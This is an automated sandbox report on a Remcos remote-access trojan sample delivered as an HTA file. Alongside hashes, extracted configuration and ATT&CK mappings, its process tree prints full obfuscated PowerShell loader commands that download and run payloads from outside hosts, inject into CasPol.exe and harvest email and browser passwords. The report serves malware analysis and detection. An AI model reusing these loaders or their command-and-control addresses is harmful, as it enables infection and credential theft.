remcos | 70576f474296d70ab1182339945255eeed65d7f5e8b71b153a56b9e2c0478ec5

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
26-11-2024 08:16

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General

Target

thinkingbestthingswhichcomingetniretimegivenmegood.hta
Size

600KB
MD5

c24178318fab715f3b613fc11396ed80
SHA1

d6711bb536adde5cb961f7d1559fc287f4aa3d76
SHA256

70576f474296d70ab1182339945255eeed65d7f5e8b71b153a56b9e2c0478ec5
SHA512

f397726076afe79c0f2e00afd8ddd7bc90e47cdffd04a033552e9246039cf781bf08c1a1bfb49c056d853106f82d6d00826f7b4cf9752bba032def61bb0e7d71
SSDEEP

192:4dE6COljVxi5Dq4bm4i5Dq4gmXPi5Dq4oi5Dq4Umji5Dq4Jzt4kQ:b6COljV/zO7

Score

10^/10

remcos remotehost collection defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

exe.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

Extracted

Family

remcos

Botnet

RemoteHost

balalalala.duckdns.org:6946

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-316C3Y
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/3736-123-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral2/memory/3116-124-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4868-130-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/3116-124-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/3736-123-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	1668	POWErsHElL.Exe
17	3596	powershell.exe
24	3596	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5088	powershell.exe
3596	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
1668	POWErsHElL.Exe
3428	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3596 set thread context of 4796	3596	powershell.exe	105
PID 4796 set thread context of 3736	4796	CasPol.exe	108
PID 4796 set thread context of 3116	4796	CasPol.exe	111
PID 4796 set thread context of 4868	4796	CasPol.exe	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	POWErsHElL.Exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	POWErsHElL.Exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1668	POWErsHElL.Exe
1668	POWErsHElL.Exe
3428	powershell.exe
3428	powershell.exe
5088	powershell.exe
5088	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
3736	CasPol.exe
3736	CasPol.exe
4868	CasPol.exe
4868	CasPol.exe
3736	CasPol.exe
3736	CasPol.exe

Suspicious behavior: MapViewOfSection 9 IoCs

pid	Process
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe
4796	CasPol.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	POWErsHElL.Exe
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	4868	CasPol.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4796	CasPol.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1684 wrote to memory of 1668	1684	mshta.exe	83
PID 1684 wrote to memory of 1668	1684	mshta.exe	83
PID 1684 wrote to memory of 1668	1684	mshta.exe	83
PID 1668 wrote to memory of 3428	1668	POWErsHElL.Exe	85
PID 1668 wrote to memory of 3428	1668	POWErsHElL.Exe	85
PID 1668 wrote to memory of 3428	1668	POWErsHElL.Exe	85
PID 1668 wrote to memory of 936	1668	POWErsHElL.Exe	88
PID 1668 wrote to memory of 936	1668	POWErsHElL.Exe	88
PID 1668 wrote to memory of 936	1668	POWErsHElL.Exe	88
PID 936 wrote to memory of 4352	936	csc.exe	89
PID 936 wrote to memory of 4352	936	csc.exe	89
PID 936 wrote to memory of 4352	936	csc.exe	89
PID 1668 wrote to memory of 2980	1668	POWErsHElL.Exe	96
PID 1668 wrote to memory of 2980	1668	POWErsHElL.Exe	96
PID 1668 wrote to memory of 2980	1668	POWErsHElL.Exe	96
PID 2980 wrote to memory of 5088	2980	WScript.exe	97
PID 2980 wrote to memory of 5088	2980	WScript.exe	97
PID 2980 wrote to memory of 5088	2980	WScript.exe	97
PID 5088 wrote to memory of 3596	5088	powershell.exe	99
PID 5088 wrote to memory of 3596	5088	powershell.exe	99
PID 5088 wrote to memory of 3596	5088	powershell.exe	99
PID 3596 wrote to memory of 1324	3596	powershell.exe	104
PID 3596 wrote to memory of 1324	3596	powershell.exe	104
PID 3596 wrote to memory of 1324	3596	powershell.exe	104
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 3596 wrote to memory of 4796	3596	powershell.exe	105
PID 4796 wrote to memory of 1632	4796	CasPol.exe	107
PID 4796 wrote to memory of 1632	4796	CasPol.exe	107
PID 4796 wrote to memory of 1632	4796	CasPol.exe	107
PID 4796 wrote to memory of 3736	4796	CasPol.exe	108
PID 4796 wrote to memory of 3736	4796	CasPol.exe	108
PID 4796 wrote to memory of 3736	4796	CasPol.exe	108
PID 4796 wrote to memory of 3736	4796	CasPol.exe	108
PID 4796 wrote to memory of 4508	4796	CasPol.exe	109
PID 4796 wrote to memory of 4508	4796	CasPol.exe	109
PID 4796 wrote to memory of 4508	4796	CasPol.exe	109
PID 4796 wrote to memory of 4432	4796	CasPol.exe	110
PID 4796 wrote to memory of 4432	4796	CasPol.exe	110
PID 4796 wrote to memory of 4432	4796	CasPol.exe	110
PID 4796 wrote to memory of 3116	4796	CasPol.exe	111
PID 4796 wrote to memory of 3116	4796	CasPol.exe	111
PID 4796 wrote to memory of 3116	4796	CasPol.exe	111
PID 4796 wrote to memory of 3116	4796	CasPol.exe	111
PID 4796 wrote to memory of 4168	4796	CasPol.exe	112
PID 4796 wrote to memory of 4168	4796	CasPol.exe	112
PID 4796 wrote to memory of 4168	4796	CasPol.exe	112
PID 4796 wrote to memory of 1400	4796	CasPol.exe	113
PID 4796 wrote to memory of 1400	4796	CasPol.exe	113
PID 4796 wrote to memory of 1400	4796	CasPol.exe	113
PID 4796 wrote to memory of 2448	4796	CasPol.exe	114
PID 4796 wrote to memory of 2448	4796	CasPol.exe	114
PID 4796 wrote to memory of 2448	4796	CasPol.exe	114
PID 4796 wrote to memory of 4868	4796	CasPol.exe	115
PID 4796 wrote to memory of 4868	4796	CasPol.exe	115
PID 4796 wrote to memory of 4868	4796	CasPol.exe	115
PID 4796 wrote to memory of 4868	4796	CasPol.exe	115

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\thinkingbestthingswhichcomingetniretimegivenmegood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1684
- C:\Windows\SysWOW64\wINdOwSpoweRshelL\v1.0\POWErsHElL.Exe
  "C:\Windows\sYStEM32\wINdOwSpoweRshelL\v1.0\POWErsHElL.Exe" "poWeRSHell.exE -EX BYpASS -nOp -W 1 -C dEViceCRedeNtIaLDEpLoymenT ; Iex($(iex('[sySTem.TExt.enCoDINg]'+[cHAR]58+[CHar]0x3a+'utf8.GetSTrING([SYsTem.CoNVERT]'+[chaR]0X3a+[cHar]0x3a+'FromBASE64StRINg('+[char]34+'JE5yakxDICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbWJFUmRlZmluaXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMTU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpveSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVck5XY2FHYVpQLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENvR3FKbU9hdix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0JSVCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBiS0JFbEZIZXQpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ4S09Ld2IiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVYVUZJUUF2eCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTnJqTEM6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguNDYuMTc4LjE5Mi8xMjIvd2VjcmVhdGVkYmV0dGVydGhpbmdzZ29vZHdheWVudGlyZWxpZmVncmVhdHRvZ29iZXR0ZXJ0aGluZ3MudElGIiwiJEVudjpBUFBEQVRBXHdlY3JlYXRlZGJldHRlcnRoaW5nc2dvb2R3YXllbnRpcmVsaWZlZ3JlYXR0b2dvYmV0dGVydGhpLnZCcyIsMCwwKTtTdEFSdC1TTGVlcCgzKTtJSSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcd2VjcmVhdGVkYmV0dGVydGhpbmdzZ29vZHdheWVudGlyZWxpZmVncmVhdHRvZ29iZXR0ZXJ0aGkudkJzIg=='+[cHar]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX BYpASS -nOp -W 1 -C dEViceCRedeNtIaLDEpLoymenT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3428
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sjqcpvla\sjqcpvla.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES92E9.tmp" "c:\Users\Admin\AppData\Local\Temp\sjqcpvla\CSC205EED8876BD43E59BDEC45465D517C9.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4352
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\wecreatedbetterthingsgoodwayentirelifegreattogobetterthi.vBs"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoIChbc1RySU5nXSR2RXJCb3NFcHJFRkVSZW5jZSlbMSwzXSsnWCctam9pbicnKSgoKCdzOTBKaW1hJysnZ2VVcmwgPSBJZkpvaHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGknKycvZmlsZS9nZXQnKyc/ZmlsZWtleT1zaFRQSGJDUFg4by1sT3RDcUhMRzZfMHhDeS14bDR0bnhsQVZiUTk1LWQnKyd2aVRLNWNBUmFOZCcrJ1FqYmIzbWV4ZndReksnKydtVFhnJnNraXByZWc9dHJ1ZSZwa192aWQ9ZTAxMDk2MzhjOWJmYjk1NzE3MzI1MzEzMDliNWZmN2MgSWYnKydKbztzOTBKd2ViQ2xpZW50ID0nKycgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtzOTBKaW1hZ2VCeXRlcyA9IHM5MEp3ZWJDbGllbnQuRG93bmxvYWREYXRhKHM5MEppbWFnZVVybCk7czkwSmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHM5MEppbWFnZUJ5dGVzKTtzOTBKc3RhcnRGbGFnID0gSWZKbzw8QkFTRTY0X1NUQVJUPj5JZkpvO3M5MEplbmRGbGFnID0gSWZKbzw8QkFTRTY0X0VORD4+SWZKbztzOTBKc3RhcnRJbmRleCA9IHM5MEppbWFnZVRleHQuSW5kZXhPZihzOTBKc3RhcnRGbGFnKTtzOTBKZW5kSW5kZXggPSBzOTBKaW1hZ2VUZXh0LkluZGV4T2YoczkwSmVuZEZsYWcpO3M5MEpzdGFydEluZGUnKyd4IC1nZSAwIC1hbmQgczkwSmVuZEluZGV4IC1ndCBzOTBKc3RhcnRJbmRleDtzOTBKc3RhcnRJbmRleCArPSBzOTBKc3RhcnRGbGFnLkxlbmd0aDtzOTBKYmFzZTY0TGVuZ3RoID0gczkwSmVuZEluZGV4IC0gczkwSnN0YXJ0SW5kZXg7czkwSmJhc2U2NENvbW1hbicrJ2QgPSBzOTBKaW1hZ2VUZXh0LlN1JysnYnN0cmluZyhzOTBKc3RhcnRJbmRleCwgczkwSmJhc2U2NExlbmd0aCk7czkwJysnSmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKHM5MEpiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5JysnKCkgdzRFIEZvckVhY2gtT2JqZWN0IHsgczkwSl8gfSlbLTEuLi0oczkwSmJhc2U2NENvbW1hbmQuTCcrJ2VuZ3RoKV07czkwSmNvbW1hbmRCJysneXRlcyA9IFtTeXN0ZScrJ20uQ29udmVydF0nKyc6OkZyb21CYXNlNjRTdHJpbmcoczkwSmJhc2U2NFJldmVyc2VkKTtzOTBKbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHM5MEpjb21tYW5kQnl0ZXMpO3M5MEp2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKElmSm9WQUlJZkpvKScrJztzOTBKdmFpTWV0aG9kLkludm9rZShzOScrJzBKbnVsbCwgQChJZkpvdHh0LlJGVlJFLzIyMS8yOTEuODcxLjY0Ljg5MS8vOnB0dGhJZkpvLCBJZkpvZGVzYXRpdmFkb0lmSm8sIElmSm9kZXNhdGl2YWRvSWZKbywgSWZKJysnb2Rlc2F0aXZhZG9JZkpvJysnLCBJZkpvQ2FzUG9sSWZKJysnbywgSWZKb2Rlc2F0aXZhZG9JZkpvLCBJJysnZkpvZGVzYXRpdmFkb0lmSm8sSWZKb2Rlc2F0aXZhZG9JZkpvLElmSm9kZXNhdGl2YWRvSWZKJysnbyxJZkpvZGVzYXRpdmFkb0lmSm8sSWZKb2Rlc2F0aXZhZG9JZkpvLElmSm9kZXNhdCcrJ2l2YWRvSScrJ2ZKbyxJZkpvMUlmJysnSm8sSWZKb2Rlc2F0aXZhZG9JZkpvKSk7JykgIC1DcmVQTGFjRSAnSWZKbycsW0NIYVJdMzktUmVQbEFDZSAnczkwSicsW0NIYVJdMzYtQ3JlUExhY0UgIChbQ0hhUl0xMTkrW0NIYVJdNTIrW0NIYVJdNjkpLFtDSGFSXTEyNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5088
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( ([sTrINg]$vErBosEprEFERence)[1,3]+'X'-join'')((('s90Jima'+'geUrl = IfJohttps://3105.filemail.com/api'+'/file/get'+'?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-d'+'viTK5cARaNd'+'Qjbb3mexfwQzK'+'mTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c If'+'Jo;s90JwebClient ='+' New-Object System.Net.W'+'ebClient;s90JimageBytes = s90JwebClient.DownloadData(s90JimageUrl);s90JimageText = [System.Text.Encoding]::UTF8.GetString(s90JimageBytes);s90JstartFlag = IfJo<<BASE64_START>>IfJo;s90JendFlag = IfJo<<BASE64_END>>IfJo;s90JstartIndex = s90JimageText.IndexOf(s90JstartFlag);s90JendIndex = s90JimageText.IndexOf(s90JendFlag);s90JstartInde'+'x -ge 0 -and s90JendIndex -gt s90JstartIndex;s90JstartIndex += s90JstartFlag.Length;s90Jbase64Length = s90JendIndex - s90JstartIndex;s90Jbase64Comman'+'d = s90JimageText.Su'+'bstring(s90JstartIndex, s90Jbase64Length);s90'+'Jbase64Reversed = -join (s90Jbase64Command.ToCharArray'+'() w4E ForEach-Object { s90J_ })[-1..-(s90Jbase64Command.L'+'ength)];s90JcommandB'+'ytes = [Syste'+'m.Convert]'+'::FromBase64String(s90Jbase64Reversed);s90JloadedAssembly = [System.Reflection.Assembly]::Load(s90JcommandBytes);s90JvaiMethod = [dnlib.IO.Home].GetMethod(IfJoVAIIfJo)'+';s90JvaiMethod.Invoke(s9'+'0Jnull, @(IfJotxt.RFVRE/221/291.871.64.891//:ptthIfJo, IfJodesativadoIfJo, IfJodesativadoIfJo, IfJ'+'odesativadoIfJo'+', IfJoCasPolIfJ'+'o, IfJodesativadoIfJo, I'+'fJodesativadoIfJo,IfJodesativadoIfJo,IfJodesativadoIfJ'+'o,IfJodesativadoIfJo,IfJodesativadoIfJo,IfJodesat'+'ivadoI'+'fJo,IfJo1If'+'Jo,IfJodesativadoIfJo));') -CrePLacE 'IfJo',[CHaR]39-RePlACe 's90J',[CHaR]36-CrePLacE ([CHaR]119+[CHaR]52+[CHaR]69),[CHaR]124))"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3596
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        
        PID:1324
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        6⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4796
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\huyfldkofgqscjukyjozjraroutayvygal"
        7⤵
        
        PID:1632
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\huyfldkofgqscjukyjozjraroutayvygal"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3736
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rwdymv"
        7⤵
        
        PID:4508
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rwdymv"
        7⤵
        
        PID:4432
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\rwdymv"
        7⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:3116
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqrimgfjh"
        7⤵
        
        PID:4168
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqrimgfjh"
        7⤵
        
        PID:1400
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqrimgfjh"
        7⤵
        
        PID:2448
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\uqrimgfjh"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
43de0a07d2b50a83fd1ef2eba49f38ea

SHA1
a76cc9e5083f0aacaacfcbb0099402c4d98d47b8

SHA256
855178753776081f17ff5d3135f4e71f0d30f23a6ed2fba67f019f06173e6f52

SHA512
079c10bd542a2c1b4c1c81be68de40b804bae082ded216c17f12d26f70eed92267a2864a6f9f94d9e6aa91b4c5cdbf271fb6d3b632862cdce0c665a098187d1a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWErsHElL.Exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
860B

MD5
1e24671fa0728c6138d4c8b348da42b4

SHA1
5a64135737a9996ac0c5395d0eb8649b239408f7

SHA256
355e2a8108ff4a5a61ce8a76895d622267d0b5b33d50017ca50aa8993b617b4b

SHA512
c6edc75faff28f371dac38f9e2791a46269a49c0930ec89808b3ee8cf5248dfb1333bfa6ad6c8b309be9ae20d71ba1b5da320cfe80079d41ad1a02a166553442

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
e88e08beb8fd31230f42a0ea8f22473c

SHA1
ee212719c08c30fed3cd8570ba8c0d7a0002afef

SHA256
f046a1ddc45e27f5002c29d707d30d050fda73212373fb249808a34632c0d8a3

SHA512
9194a30f866987e938fb4f3b11c054c97f1663931fa78142a7cd6690f2e4c269346ae2f5f2e17cb4bd2f7b926cbb49025cce3d8768483175803f6f6dc4906521

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES92E9.tmp

Filesize
1KB

MD5
c2f1ea513c492b173ad25bffb6ee52f0

SHA1
e39359fdadbafeb4d7ed0cfd0dd9aae6c928964c

SHA256
d0e7f3277570b9cd65db43856a70f2e8318fee1fe7e2df78a689dd5fa8b02e43

SHA512
bc6e0ecc7c2aebdadb7e69ff29ffdfe4156a5e8def9180cd84d5661744d03c66f15ec8dd4d625fc06bf383822c5f5943ee37fdf26063c4df34b6175a3c81e6ff

Download Submit
